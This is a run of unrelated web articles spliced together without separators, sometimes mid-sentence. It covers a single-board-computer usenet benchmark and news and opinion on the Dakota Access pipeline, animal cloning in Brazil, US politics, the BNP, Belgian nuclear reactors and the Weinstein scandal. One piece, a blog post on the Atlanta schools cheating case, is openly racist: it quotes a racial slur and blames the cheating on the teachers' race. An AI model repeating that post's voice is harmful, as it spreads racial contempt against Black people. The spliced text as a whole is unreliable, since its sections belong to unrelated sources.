8 GB is typical for high HD quality video files in 1080p resolution.
The Raspberry Pi took over an hour in Sabnzbd and NZBGet
The Raspberry Pi 2 took 43 minutes in Sabnzbd and almost 26 minutes in NZBGet
The Banana Pi took almost 34 minutes in Sabnzbd and almost 25 minutes in NZBGet
NZBGet on the Banana Pi is the winner though the Pi 2 was not far behind. These sorts of processing times may not be acceptable to you if you like to watch media soon after it is downloaded. Remember unpack times can be faster if the RAR compression used is just for storing which could mean complete process times as low as 15 minutes.
Conclusion
NZBGet is the clear favorite for post processing on low power ARM devices. Thanks to its QuickPar and multithreaded PAR2 repair features it easily defeats Sabnzbd. If a multithreaded native PAR2 application is ever available for ARM architectures then this could change. The Raspberry Pi 2 generally repairs faster than the Banana Pi because it has 2 extra cores, however the overall benefit is counterbalanced by the Banana Pi’s SATA connection which speeds up unpacking.
New devices are on their way to market, I believe a quad core Banana Pi is being designed that will really speed up PAR2 repairs in which case the Raspberry Pi 2 won’t stand a chance. If you are able to wait the necessary time for your preferred sized releases to be processed then a Raspberry Pi 2 or Banana Pi may be a viable option for a usenet downloader. What you lose in time you make up for in electricity costs, but only you can decide if it is worth it depending on your needs.
The Banana Pi and Pro are available on Amazon, AliExpress and eBay. The Pro version includes 802.11n Wifi for those who are not wired for ethernet in their home.The Morton County Sheriff’s Department has concluded its investigation into the use of dogs to attack Native American-led water protectors opposing the Dakota Access pipeline on September 3, finding the guards lacked proper licensing. Morton County Sheriff’s Captain Jay Gruebele writes:
“Through this investigation it has been proven that the dog handlers were not properly licensed to do security work in the State of North Dakota.”
On Saturday, September 3, Democracy Now! filmed security guards working for the pipeline company attacking Native Americans. The report showed guards unleashing dogs and using pepper spray and featured people with bite injuries and a dog with blood dripping from its mouth and nose. The video went viral online, viewed more than 14 million times on Facebook and was rebroadcast on many outlets, including CBS, NBC, NPR, CNN, MSNBC and the Huffington Post.
Following Democracy Now!’s report, Amnesty International USA called on Morton County Sheriff Kyle Kirchmeier to investigate the use of force by private security working for the Dakota Access pipeline company on September 3.
Three days after the attacks Democracy Now! spoke with Jonni Joyce, an expert in law enforcement canine handling with more than 25 years of experience, about the use of canines to attack protesters. “What I witnessed on the video was absolutely horrific,” said Joyce. “It appeared that the handlers were not trained properly in order to manage a dog that has been trained in some type of controlled aggression.”
To see all of Democracy Now!’s coverage of the Dakota Access pipeline, click here.Conservationists in Brazil are poised to try cloning eight animals that are under pressure, including jaguars and maned wolves.
Other conservation groups have welcomed the plan, but say the priority should always be to preserve species in the wild by minimising hunting and maintaining habitats.
“While cloning is a tool of last resort, it may prove valuable for some species,” says Ian Harrison of the Biodiversity Assessment Unit at Conservation International in Arlington, Virginia. “Experimenting with it now, using species that are not at immediate risk of extinction, is important.”
Save our species
None of the targeted animals are critically endangered, but Brazil’s agricultural research agency, Embrapa, wants a headstart. Working with the Brasilia Zoological Garden, it has collected around 420 tissue samples, mostly from carcasses.
Advertisement
The eight species live in the Cerrado, a tropical savannah. They will be cloned and kept in captivity as a reserve in case wild populations collapse.
Within a month, Embrapa hopes to begin cloning the maned wolf (Chrysocyon brachyurus), which is classed as “Near Threatened” on the IUCN Red List of endangered species. About 13,000 remain across South America.
As well as jaguars and maned wolves, the researchers hope to clone black lion tamarins (Leontopithecus chrysopygus), bush dogs (Speothos venaticus), coatis, collared anteaters (Tamandua tetradactyla), gray brocket deer (Mazama gouazoupira) and bison.
Green cloning
There are no plans to release cloned animals into the wild, says Embrapa’s Carlos Frederico Martins. Being clones, they would lack the genetic variability of wild populations.
Embrapa created Brazil’s first cloned animal in 2001, a cow called Vitória that died last year. It has since cloned over 100 animals, mainly cows and horses.
Rare animals have been cloned before, including the ox-like gaur, a wild sheep called a mouflon, a wild cow called the banteng, and even an extinct mountain goat – the Pyrenean ibex – that died at birth. Since then, more versatile cloning techniques have been developed, increasing the chances of success.
Frozen panda
“The key is foresight, to just save a little piece of skin, blood or other living cells before the genes from these individuals are lost from the planet forever. A freezer the size of a standard refrigerator could store the genetics for all the pandas in China, or all the mountain gorillas in Africa,” says Robert Lanza of Advanced Cell Technology in Marlborough, Massachusetts, who headed the group that produced the gaur. “If you have the genetic material you can produce sperm, for instance, and reintroduce genetic diversity whenever you want.”
Rhiannon Lloyd of the University of Portsmouth, UK, runs a facility that stores DNA of threatened and extinct species. She backs Embrapa’s plan: “Collecting from dead specimens prevents the valuable information within their cells being lost forever.”Daily Chain Pull: Former Director of Atlanta’s Schools Faces Charges
Beverly Hall was in charge of the majority-black Atlanta school system from 1999 to 2010 and was the focus of several articles about the miraculous improvements she wrought through her administrative prowess and leadership. It seems the black students suddenly began to do better than the White kids out in the suburbs! It was such a feel-good story!
My father, an educator with no patience for diversity, upon hearing about what was happening in Atlanta, said simply: “The n***ers are cheating.” He died before he saw his prophecy proven correct.
It turns out the Jamaican-born Dr. Hall had recruited a small cadre of black teachers (The Chosen, she called them) who were meticulously changing the test scores. Why? Guess.
QUOTE:
“Dr. Hall, who retired in 2011, was charged with racketeering, theft, influencing witnesses, conspiracy and making false statements. Prosecutors recommended a $7.5 million bond for her; she could face up to 45 years in prison.”
–Snip–
“Paul L. Howard Jr., the district attorney, said that under Dr. Hall’s leadership, there was “a single-minded purpose, and that is to cheat.”
Ain’t that just the story of Africamerica?
***KER-FLUSH!!***White House chief of staff John Kelly must have forgotten that we live in a world of receipts. Because Kelly thought he could completely misrepresent a story about Rep. Frederica Wilson (D-Fla.)—one that paints her as self-serving and self-aggrandizing; that he could insult her intelligence; that he could engage in some grand-ass moral posturing about what is “sacred” in this country, and get away with it.
But we live in a world of receipts, and the Sun Sentinel whipped out an incredible one—directly refuting a story Kelly told about Wilson in which he referred to her as an “empty barrel.”
On Thursday, Kelly addressed the press on the controversy surrounding President Donald Trump and his remarks to a Gold Star widow, Myeshia Johnson, whose husband, Sgt. La David Johnson, was killed in Niger earlier this month.
The press lauded Kelly’s speech as “extraordinary”—largely because he rarely speaks on the record and because the typically guarded Kelly got personal. But Kelly saved particularly harsh condemnation for Wilson, who first spoke to the press about Trump’s insensitive comments to Myeshia Johnson.
In the conversation, Trump reportedly told Myeshia that her husband “knew what he signed up for.” According to Wilson, Myeshia was particularly shaken up because the president didn’t even seem to know La David’s name.
Advertisement
Kelly attacked Wilson for listening in on the conversation. The former general also told a story about Wilson that supposedly showcased her selfishness and narcissism: an anecdote about a building dedication in Miami to two slain FBI agents.
“A congresswoman stood up,” said Kelly, referring to the Democratic lawmaker, CNN reports, “and in a long tradition of empty barrels making the most noise, stood up there in all of that and talked about how she was instrumental in getting the funding for that building, and how she took care of her constituents because she got the money, and she just called up President Obama, and on that phone call, he gave the money—the $20 million—to build the building, and she sat down, and we were stunned.”
Advertisement
Wilson quickly pushed back on Kelly’s story, telling CNN’s New Day that she “was not even in Congress in 2009, when the money for the building was secured.”
“So that’s a lie,” said the Florida Democrat. Wilson also pointed out that Kelly labeling her an “empty barrel” was racist.
And wouldn’t you know it, the Sun Sentinel backed her up, releasing a video of her full remarks that day.
Advertisement
Not once does Wilson take credit for securing the money for the building. She did take credit for naming the building after the two slain FBI agents—but as Toronto Star reporter Daniel Dale points out, then-FBI Director James Comey gave her credit, too.
In fact, the video plainly shows that Wilson credited both Republican and Democratic lawmakers with speeding up what is normally a tedious and prolonged process.
Advertisement
Kelly got it all the way wrong, but it should come as no surprise that the White House is sticking by its version of events, according to The Hill. As a matter of fact, the White House is doubling down.
“Gen. Kelly said he was ‘stunned’ that Rep. Wilson made comments at a building dedication honoring slain FBI agents about her own actions in Congress, including lobbying former President Obama on legislation,” White House press secretary Sarah Huckabee Sanders said.
“As Gen. Kelly pointed out, if you’re able to make a sacred act like honoring American heroes about yourself, you’re an empty barrel,” Sanders continued.
Advertisement
But the White House has no damn business entering a conversation about what’s sacred or what’s honorable.
This administration has persistently targeted and denigrated black women—a |
said in a statement. “The hold was designed to force answers to important questions about why the Obama administration had banned flights to Israel. Thankfully, in response to widespread criticism, the administration has now reversed course and lifted its ban on flights to Ben Gurion International Airport.”
Story Continued Below
FAA officials put the ban in place after a Hamas-fired missile landed within a mile of the airport and after every U.S. carrier flying to Israel had already canceled their flights for the day. The agency lifted the ban the next day, citing new information from the Israeli government. President Barack Obama called the reversal a “purely technical question” in an interview with CNBC.
Cruz claimed the FAA’s decision amounted to an “economic boycott of Israel” and was meant to punish the country. Israeli politicians and former New York Mayor Michael Bloomberg joined him in criticizing the FAA’s call, but didn’t echo his charge that animus toward Israel drove the decision.
Cruz asked a series of pointed questions about the decision, and after a State Department spokesman dismissed them as “offensive and ridiculous,” announced he would place a hold on department nominees until he got answers. This morning’s briefing apparently provided those answers.
“Nevertheless, I remain concerned that the Administration was so willing to impose grave economic harm on our friend and ally Israel in order to try to pressure them into acceding to Secretary Kerry’s foreign policy demands,” Cruz said. “In response, Hamas declared the FAA’s flight ban to be a ‘great victory’ in their terror war on Israel. I hope that the Administration will not go down this path again, and that we will instead stand with bipartisan unity in support of the nation of Israel.”Lil Wayne is going on tour through April and May, as MissInfo.tv points out. The 12-city junket opens in Louisville and closes in Detroit. Find the full itinerary below. In the middle of those dates, Wayne will headline this year’s Rolling Loud festival with Kendrick Lamar and Future. He will also appear at the 10th annual Roots Picnic in June, alongside Solange, Thundercat, and more. During All-Star weekend, Wayne reunited with the Hot Boys in their hometown for a Beats event hosted by LeBron James.
Lil Wayne:
04-14 Louisville, KY – Louisville Palace
04-15 Madison, WI – Orpheum Theater
04-19 Anaheim, CA – House Of Blues
04-20 San Diego, CA – Cal Coast Credit Union Open Air Theatre
04-21 Hollywood, CA – Hollywood Palladium
04-27 Oklahoma City, OK –The Criterion
04-28 Dallas, TX – South Side Ballroom
04-30 Houston, TX – Revention Music Center
05-02 Nashville, TN – Revention Music Center
05-08 Atlanta, GA – Coca-Cola Roxy Theatre
05-10 Grand Rapids, MI – Monroe Live
05-11 Detroit, MI – Fox TheatreIn a letter from the Equality and Human Rights Commission, Nick Griffin, the BNP leader, was told that he had less than a month to provide written undertakings that the party would abide by race relations legislation.
John Wadham, legal director of the Commission, said that the watchdog was concerned that the BNP's constitution and membership criteria could be in breach of the law.
Party membership was said by the Commission to be restricted to those with white skin and a small number of other ethnic groups.
In a statement, the watchdog added: "This exclusion is contrary to the Race Relations Act which the party is legally obliged to comply with. The Commission therefore thinks that the BNP may have acted, and be acting, illegally."
There were further concerns over the requirement on new staff to be party members, and fears that elected BNP representatives would be unwilling to provide help and support to non-white constituents.
If the BNP does not provide written undertakings by July 20 that it will make the changes required by the Commission voluntarily, then the watchdog said that it would apply for a legal injunction which would compel them to comply.
Any breach of a court order would be a criminal offence and leave the party's leaders open to prosecution.
Mr Wadham said that the Commission had a legal duty to ensure that political parties were not breaking the law by discriminating against ethnic minorities.
He added: "The legal advice we have received indicates that the British National Party's constitution and membership criteria, employment practices and provision of services to constituents and the public may breach discrimination laws which all political parties are legally obliged to uphold.
"Litigation or enforcement action can be avoided by the BNP giving a satisfactory response to our letter."
The BNP has been ordered to provide a written undertaking that it will not breach race relations laws in its "employment, recruitment, procedures and practices".
On the BNP's website, applicants for party jobs are asked to supply a membership number. The Commission said that this amounted to a potential breach of laws which ban parties from refusing employment on the basis of non-membership of an organisation.
Earlier this month, two BNP members, including Mr Griffin, were elected to the European Parliament, the highest office enjoyed by party representatives to date.
The Commission said that it was concerned that they and the party's local councillors did not intend to provide their services on an equal basis to all constituents irrespective of race or colour.
A spokesman for the BNP said that the party would not be commenting.Former U.N. Ambassador and American Enterprise Institute Senior Fellow John Bolton told SiriusXM host Alex Marlow on Thursday’s Breitbart News Daily that he was a little surprised to see Russia and its president, Vladimir Putin, become a central topic of the final 2016 presidential debate, given the conventional wisdom about Russia’s harmless irrelevance circa 2012.
“I think that the various issues that relate to Putin in the broader foreign policy context help demonstrate what I think was the biggest takeaway from the debate last night in the national security area, and that is really just how close Hillary’s foreign policy views are to Obama’s,” he said.
“There’s a notion out there in some circles that she’s gonna be tougher, have a more hawkish foreign policy. Absolutely false,” Bolton declared. “Her worldview is the same as Obama’s, and I think Trump made that point very clearly as part of that discussion. When he talked about how Hillary Clinton as secretary of state and Obama were out-negotiated by the Russians in terms of the New START nuclear arms treaty, how they’ve been out-maneuvered by Russia in Syria ever since the conflict began there, right after the Arab Spring in 2011 – that’s what I think Trump means when he talks about Putin being a strong leader, compared to Obama and his foreign policy, which is weak, and which Hillary would continue.”
Bolton thought that Trump “made more points on national security in this debate than he was able to make in earlier debates.”
“I think that he demonstrated convincingly, and Hillary didn’t back away from, the fact they will follow the same policies in a Clinton administration as in Obama’s. For example, in the case of Iran, he excoriated her for her support of the Iran nuclear deal, which I think is the worst act of appeasement in American diplomatic history. Hillary Clinton’s only regret there is that she wasn’t able to cut the deal while she was secretary of state, and it fell to John Kerry to do it,” he said.
“I thought Trump made a very important point about the conflict we’re reading about daily around Mosul, in Iraq – that even if the Iraqi forces, aided by American advisers, succeed in taking Mosul in the very near future, that will primarily advantage Iran,” Bolton said. “This is a complex multi-sided war in Iraq and Syria, and while, certainly, ISIS should be eliminated and its territorial control eliminated, as rapidly as possible, we should not do it in a way that benefits Iran more than is absolutely necessary.”
“Obama’s strategy, which Hillary fully supports, is to pursue ISIS in ways that maximize the benefits to Iran – which, I think, is gonna come back to haunt us,” he warned.
Bolton said Trump was correct to fear that Mosul would eventually fall into the hands of Iran “because the government of Iraq today, the Baghdad government, is functionally a satellite to the mullahs in Tehran.”
“And he makes another important point: the media only want to talk about, did he support the Iraq war before George W. Bush launched it, or did he not? To me, the answer to that is irrelevant. Hillary Clinton expressly voted for it on the floor of the Senate, which I think was one of her finest moments in foreign policy. She now regrets it,” he observed.
“But the key point is, the current instability in Iraq and Syria, and really around the Middle East, stems in substantial part from the Obama administration decision in 2011, when she was secretary of state, to withdraw all American forces from Iraq. That’s what gave al-Qaeda, and then its manifestation as ISIS, the opportunity to bring about the chaos that we see today. That’s a direct result of their policy – not George W. Bush – their policy,” Bolton stated.
“Hillary has said before, ‘No American troops on the ground.’ There are 6,000 American troops on the ground there, really right near the front lines in Mosul, many of them, as a consequence of the loss we suffered when we pulled our people out in 2011. I think it’s important for Trump to make that point. It’s hard to get through some of the noise in these debates, but in substantive terms, that’s an extremely important point,” he said.
Marlow asked for Bolton’s take on Donald Trump’s point that Hillary Clinton had a great deal of experience in government, but it’s bad experience, with many disasters and few accomplishments of which to speak.
“I think Hillary Clinton is a creature of the Washington establishment, and she’s progressed through the ranks. Her resume shows that. But it’s the kind of progression that doesn’t require achievement,” Bolton replied. “I think Trump is absolutely right. I’m still waiting for Hillary Clinton herself to tell us what her major accomplishments were as secretary of state. Now, obviously, she’s not the final decision-maker, the president is, but you can look in vain for any substance, other than running up a lot of miles traveling around the world.”
“I think it’s an entirely fair point to make. I think that’s one of the advantages somebody like Trump, coming from outside the Washington establishment, has to shake things up. And it’s an essential point, I think, to his campaign that he is the bringer of change, and she certainly is not,” he added. “She will be Obama’s third term. I think that’s true on domestic issues as well as foreign policy issues, and that’s why Obama supports her so strongly. He wants a third term to lock in his achievements, the way Reagan benefitted from George H.W. Bush, in effect being his third term.”
“Just to put this in historical context, the Democratic Party has not won three straight elections, presidential elections, in a row since 1940, when Franklin Roosevelt won a third term and was able to lock in the New Deal, in effect,” he pointed out. “If people don’t think this is a stunning development, to see Hillary Clinton poised to win the election. It has little or nothing to do with electing the first woman president. It has everything to do with making it more and more difficult to correct the mistakes and get us out of the hole, domestically and internationally, that Obama’s put us in these last eight years.”
Breitbart News Daily airs on SiriusXM Patriot 125 weekdays from 6:00 a.m. to 9:00 a.m. Eastern.
LISTEN:Share this article:
Thousands of people are expected to flock to the Los Angeles Convention Center Thursday on the second day of a three-day health clinic offering free medical and dental services for uninsured and under- insured residents.
Thousands of healthcare professionals and volunteers are taking part in the no-cost clinic, offering services on a first-come, first-served basis. The clinic will be held again from 7 a.m. to 4 p.m. Thursday and from 7 a.m. to noon Friday.
No insurance or identification is required, and no appointment is necessary, other than for major surgical procedures, which required pre-surgery visits.
Free on-site services include primary care visits, women’s health services including pap smears and mammography, consultation by medical specialists including heart evaluation, as well as gastroenterology, neurology, pulmonology, rheumatology and pediatrics.
Specialists in podiatry, immunizations, root canals, pharmacy, eyeglass fittings and examinations, and STD screenings will also be on hand.
Los Angeles residents can obtain more information at www.YourBestPathwayToHealth.org.
The event — co-sponsored by the Los Angeles County Department of Health Services — is organized by Your Best Pathway to Health, a service of Adventist-Laymen’s Services Industries, in partnership with the Seventh-day Adventist Church, Adventist Health, Loma Linda University Health and other entities.
—City News Service
LA Convention Center hosts free 3-day health clinic was last modified: by
>> Want to read more stories like this? Get our Free Daily Newsletters Here!
Follow us:Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
Thank you for signing up. For more from The Nation, check out our latest issue
Subscribe now for as little as $2 a month!
Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter.
Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week.
Thank you for signing up. For more from The Nation, check out our latest issue
Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits.
Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine?
Last Wednesday, after a relatively quiescent 2017 spent mainly out of the spotlight, former vice president Joseph R. Biden Jr. gave what was billed as a major address in Chicago. Ad Policy
Speculation that Biden is assumed to be considering a third run for the presidency brought a level of interest where, in a world in which Hillary Clinton was president, there probably wouldn’t be all that much. Subsequent revelations by former DNC Chair Donna Brazile that she considered initiating a process to replace Hillary Clinton with Biden as the nominee after the former’s bout of ill health in September 2016 will likely do little to discourage Biden from another run.
But does Biden offer anything Clinton did not? After all, on issues ranging from free trade to foreign policy, Biden’s positions are reflective of those of the Democratic establishment of which Clinton was the embodiment. The grass roots of the party seem, from the vantage point of late 2017, to have moved on.
Nevertheless, in Chicago, Biden issued a blistering attack on Trump who, according to Biden, is “like most charlatans throughout time who seek to aggrandize themselves and consolidate their power, by always blaming the other.”
Turning directly to Trump, Biden said: “We’ve got to stop this tweeting.… it’s childish. It’s time to grow up. It’s time to grow up and act like a real leader.”
On foreign policy, the former vice president’s message was both unremarkable and expected; Biden repeated, almost mantra-like, the by-now sacred shibboleths of the Democratic foreign-policy establishment, focusing mainly on what he sees as the current unraveling of the so-called “liberal world order.”
“If we don’t stand up,” said Biden, “the liberal world order we championed will quickly become an illiberal world order we suffer.” Current Issue View our current issue
For Biden, now is no time for America to “cede the field” to the “illiberal movement led by President Vladimir Putin.” Indeed, Biden, perhaps channeling his inner Churchill, declared that as concerns Russia—which he said poses “a different but no less real” threat to America than the USSR once did—“appeasement will not work.”
Biden further decried what he sees as Trump’s incoherent leadership, the hollowing out of the diplomatic corps under Secretary of State Tillerson, and the administration’s continuing efforts to undermine the Iranian nuclear accord.
Yet it was the brief economic section of his address that should be cause for dismay on the part of progressives and anyone hoping the Democratic Party will break free from neoliberal orthodoxy.
Biden clearly recognizes that the American economy is not working for those on the bottom rung of the socioeconomic ladder. “There’s a lot of people out there scared to death with good reason,” said Biden, “They come from my old neighborhood. They’re not stupid. They have real fears.”
And yet, for Biden (and perhaps a dozen other Democrats considering a run in 2020), American-style finance capitalism is essentially benevolent, just in need of a bit of tinkering around the margins, offering a (Bill) Clinton-like laundry list of solutions, or what he called “common-sense solutions that would help raise the standard of living for working-class people” including “increasing access to education, job training…expanding access to capital.”
On economic issues, there is a kind of cognitive dissonance between Biden’s persona and his policy prescriptions. In Chicago, “Middle Class” Joe, as he repeatedly referred to himself, vigorously defended the Trans-Pacific Partnership (TPP), which has aptly been described by Senator Bernie Sanders as “part of a global race to the bottom to boost the profits of large corporations.” For Biden what is important is that the TPP would have allowed the United States to “have written the rules of the road [as to] what constituted fair trade,” never mind the effects the agreement would have had on American workers.
For Biden, the cure to what ails the American worker can be found in free-trade agreements and, apparently, in Palo Alto. Biden pointed out that nowadays “Silicon Valley, and not just because they care, is proposing an annual guaranteed income [also known as universal basic income, or UBI] for Americans.”
Yet, as the journalists Julianne Tveten and Paul Blest have observed, “The socialist UBI and the Silicon Valley UBI are not one and the same. One of them is an attempt to create a world of equality and prosperity for all. The other is an attempt to offer bare subsistence as a replacement for government programs, while leaving a fundamentally unequal economic and power structure fully in place.”
Which do you think Eric Schmidt has in mind?
In the end Biden, like many mainstream liberal Democrats, seems intent on not understanding some of the real lessons of the 2016 election.
By failing to formulate an alternative to the failed foreign and economic policies of the past, which he has done much (more than most politicians) to shape, Biden showed that he remains wedded to the tenets of liberal interventionism and free-trade orthodoxy that have served the citizens of this country so poorly over the past quarter-century.Nuclear power experts are meeting in Bonn this week to discuss a sensitive issue: potentially unsafe Belgian nuclear reactors that sit uncomfortably close to the German border.
Not everyone is happy about the meeting. Outside the Federal Ministry of the Environment in Bonn, where the meeting is taking place, anti-nuclear campaigners are holding a spontaneous vigil protesting the talks. Herbert Hoting from the group AntiAtomBonn calls them a "farce."
"The people in charge in Belgium cannot be convinced," he said.
The talks are the first meeting of the Belgian-German Nuclear Commission, formed in December to try to resolve the ongoing dispute between the two countries over the safety of the Doel 3 and Tihange 2 reactors.
The power stations to which they are connected are more than 40 years old, and cracks have been discovered in recent years that many believe makes them potentially dangerous. Barbara Hendricks, Germany's environment minister, asked Belgium to shut down both reactor blocks in 2016 until they could be made safe. To date, both reactors are still running.
Tihange lies only 60 kilometers (about 37 miles) from the German border, while Doel (pictured above) is 150 kilometers away, near Antwerp. Germans living in the area close to this border have been exerting pressure on the government to force Belgium to shut down the reactors.
Various groups have sprung up in the cities near the border, such as Münsterland Gegen Atomanlagen (Münsterland Against Nuclear Plants) and the Aachener Aktionsbündnis Gegen Atomenergie (Aachen Action Alliance Against Atomic Energy). The German state of North Rhine-Westphalia has prepared iodine tablets for its population in the case of a Belgian nuclear accident.
The problem is that energy generation is an entirely national competence, and cannot be influenced by the European Union. As a result, there is nothing Germany can do about nuclear reactors in Belgium. Faced with pressure from activists, the German government created the commission with Belgium in December. This week is the first meeting of nuclear experts from both countries, and the activists are keen to show they're not fans of the new body.
"It's just an exchange of information, not binding results," said Anika Limbach from AntiAtomBonn. "The framework doesn't provide for any citizen participation, or a full exchange of documents. In our opinion, the meeting is no more than an alibi."
The activists are particularly incensed that, after the commission was formed, it was revealed that Germany has agreed to sell nuclear fuel elements to Belgium for use at the two reactors.
Read more: Germany approves sale of nuclear fuel elements to Belgian reactors
A spokesperson for the German Environment Ministry told DW that the meetings, which will take place twice a year, are to facilitate the exchange of technical expertise rather than to discuss high-level political issues. She pointed out that Germany has a similar expert commission with France.
Cultural conflict
Germany has long had a complicated relationship with nuclear power, with a strong anti-nuclear movement starting in the 1970s. Popular opinion against nuclear power in Germany is so high that in 2011, following the Fukushima nuclear accident, German Chancellor Angela Merkel took the decision to phase out all German nuclear power by 2022.
To the west, nuclear power in France and Belgium has been more accepted, partly because it provides a much larger share of those countries' power supplies. In Belgium, it provides 52 percent of the country's electricity, and a whopping 72 percent in France, according to the Nuclear Energy Institute. In 2011, nuclear accounted for just 18 percent of Germany's electricity.
In France, the topic of phasing out nuclear power was hotly debated during the recent presidential election campaign, and Belgium has a theoretical phaseout date of 2025. Few expect Belgium to honor that pledge, however, given that all intermediate deadlines have been missed.
The issue of nuclear power is dividing Europe, as some countries such as the UK seek to embrace nuclear as a low-carbon solution to climate change, while others such as Germany want to eliminate it completely. But as the issue of nuclear safety respects no borders, this is causing tensions.
Hendricks (left) and Belgian Interior Minister Jan Jambon agreed on the joint commission in December
Heinz Smital, a campaigner with Greenpeace Germany, told DW that even though only Belgium can make a decision on the reactors, there is more the German government could be doing to pressure its neighbors.
The nuclear commission, he believes, is sending a signal of acquiescence.
"The German government could be clearer in how important Belgium's nuclear phaseout is, because there are lots of models on how a nuclear cloud could affect large parts of Germany," he told DW.
"Germany is not playing all the cards it could. The government of Austria is taking legal steps against new nuclear constructions in the UK and other countries. I would like to see the German government being more effective in taking concrete steps to get rid of the nuclear threat."
Fruitful talks, or a fig leaf?
In their December agreement, Germany and Belgium both jointly declared that they will, in future, keep each other better informed about the condition of their nuclear reactors. Representatives from the German states bordering Belgium (North Rhine-Westphalia and Rhineland-Palatinate) will also sit at the table. The idea is that it will also be possible for German experts to see what's going on in the disputed reactors.
Environment Minister Hendricks has been keen to downplay expectations, saying in December that "we are not creating greater security with this commission." But she said Germany cannot dictate energy decisions to Belgium, and that the Belgian-German commission is the next best option. At least that way, Germany can be part of a solution.
But Greenpeace's Smital believes the stakes are too high to be satisfied with mere words. "Yes, it's necessary to have all the detailed information at an expert level," he said. "But this will not help to avoid a nuclear accident. The objective should only be to have a shutdown."There have been so many horrifying stories about male predatory behavior since the Harvey Weinstein story broke earlier this month, but one quote has truly stood out.
In a damning memo about her boss, a Weinstein Co. employee named Lauren O’Connor neatly explained how the Hollywood producer could get away with sexually harassing so many women.
“The balance of power is me: 0, Harvey Weinstein: 10,” she reportedly wrote.
That one sentence sums up more than the situation with Weinstein, now accused of sexual harassing or assaulting more than 50 women. That same power imbalance exists in every corner of the country, in the White House, Congress, the media, police departments, academia, most big law firms, and nearly every major corporate boardroom, corner office and C-suite.
“Weinstein is the embodiment of the power differential that plays out all over the workplace in the United States,” said Teresa Boyer, the director of the Anne Welsh McNulty Institute for Women’s Leadership at Villanova University.
The power differential is extreme: Men hold nearly 81 percent of the seats in Congress. Three-quarters of state legislators are men. They make up the majority of mayors and governors. Eighty-three percent of elected prosecutors and 88 percent of police officers are guys.
Of the 500 chief executives at Fortune 500 companies, only 32 are women. Sure, conservative outlets like Fox News and the White House are largely run by men, but so are more “liberal” industries and companies ― the entertainment world is largely ruled by men, as is the news media and the tech world.
Even though women make up the majority of teachers and school principals, fewer than 25 percent of school superintendents are female. Who runs the banks? Men. Who flies the planes? Men.
Even with the best of intentions, male-dominated institutions send a clear message: Men are leaders, and women, if they’re lucky, might get a seat or two at the table.
The consequences are wide-ranging ― harming women individually and infecting our culture, politics and history. Just this past week, we’ve learned that political journalist Mark Halperin, former New Republic literary editor Leon Wieseltier and the publisher of Artforum magazine, Knight Landesman, have sexually harassed and demeaned their female colleagues. More revelations about powerful men seem to emerge by the hour.
Beyond their individual transgressions, these men, like Weinstein, had enormous platforms upon which to disseminate their worldview on culture and politics.
Halperin, in particular, wrote one of the most authoritative books on the 2008 presidential race, the first time a woman got close to landing the presidential nomination. “This guy, whose young female colleagues accuse of rubbing his dick against... shaped (& profited handsomely from) the story of Clinton,” Rebecca Traister, one of New York Magazine’s political columnists. tweeted Thursday.
More recently, Halperin appeared on television to discuss accusations of sexual harassment levied against Donald Trump.
If men like this are responsible for analyzing the actions of other men accused of sexual transgressions, is it any wonder that Trump was elected? That women feel afraid to speak out? That known ass-grabbers ― a list which now includes a former president ― are dismissed as just boys being boys or as sad old men?
The consequences of male supremacy are baked into law and policy. Why is it so hard to prove rape or sexual harassment in a court of law? Men make and enforce the law. They’re more likely to sympathize with male offenders than female victims. You see it in the language around these cases: Women are cast not as victims but as temptresses. They’ve dressed too seductively, so men run wild with desire. The men can’t help themselves.
It’s the patriarchy, stupid.
Yes, lots of men have been speaking up in recent days about the horror of what Weinstein did and of sexual assault and harassment. Of course, there are male allies. But, generally speaking, men are fine with the massive power imbalance.
Weinstein is the embodiment of the power differential that plays out all over the workplace in the United States. Teresa Boyer, director of the McNulty Institute for Women’s Leadership at Villanova
At companies where just 10 percent of leaders are women, half of male employees believed females were well-represented in the organization’s leadership, according to a recent study of corporate workers put out by McKinsey & Co. and LeanIn.org.
Just a few token women, in other words, makes it seem like the problem is solved. Sort of like how having a black president solved the United States’ race problem.
We can’t precisely know what a more gender-balanced world would look like. But there are glimpses. Many women luck out and land female mentors, who are unlikely to kiss subordinates on the mouth, or insist on a daily hug or chase women around their desks. Beyond that basic business, there can be something really empowering about working in an organization run by women.
Former AOL and Google executive Maureen Sullivan now works at Rent the Runway, where the majority of the leadership is female. Women make up half of the board, 70 percent of employees, 62 percent of corporate employees and an astonishing 75 percent of the executive team.
“It’s been life-changing for me as a leader,” Sullivan told HuffPost this summer. She’s worked at progressive places before, she said, but this is different. “There’s just incredible empathy.”
Would a wealthy man have acted as swiftly as philanthropist Laurene Powell Jobs did this week? Her organization, The Emerson Collective, was set to back a new magazine cooked up by Wieseltier. But after substantive reports surfaced about the way he’s treated women who worked for him, she killed the project.
Over the past year or so, some of the more egregious abusers of male supremacy got knocked off their perch: former Fox News Chairman Roger Ailes, Fox News host Bill O’Reilly, comedian Bill Cosby, Weinstein. Political journalist Halperin is facing consequences, as well. More women are coming forward.
This is something, but ultimately changes very little. Most women will go back to work, to school, to literally anywhere, and face down a sliding scale of bias, discrimination, harassment and worse.
There are the small things that start practically at birth: Children are taught that boys are strong and adventurous, while girls are weak and need protection. In school, girls are pushed away from tech and science, punished for wearing the wrong clothes.
Later, in the work world, women get talked over in meetings, more harshly criticized in performance reviews, paid less than their male colleagues. They’re less likely to be promoted.
When women become mothers, while working, they’re punished for that, too. The United States, run by men, does not offer any kind of paid leave. If a woman does manage to return to work, research has shown that her pay suffers. She’s less likely to be promoted.
Women who make it through all this are rewarded with appalling hostilities: work events at escort bars. Conversations about porn stars. And much worse harassment.
Women in low-paying industries are particularly vulnerable. Women who are paid by the hour at McDonald’s have reported having their breasts and posteriors grabbed, and hearing obscene comments about their appearance and sexual orientation from bosses and colleagues.
In some workplaces, everyone stands by as the boss acts completely inappropriately with his female subordinates. Like at The New Republic.
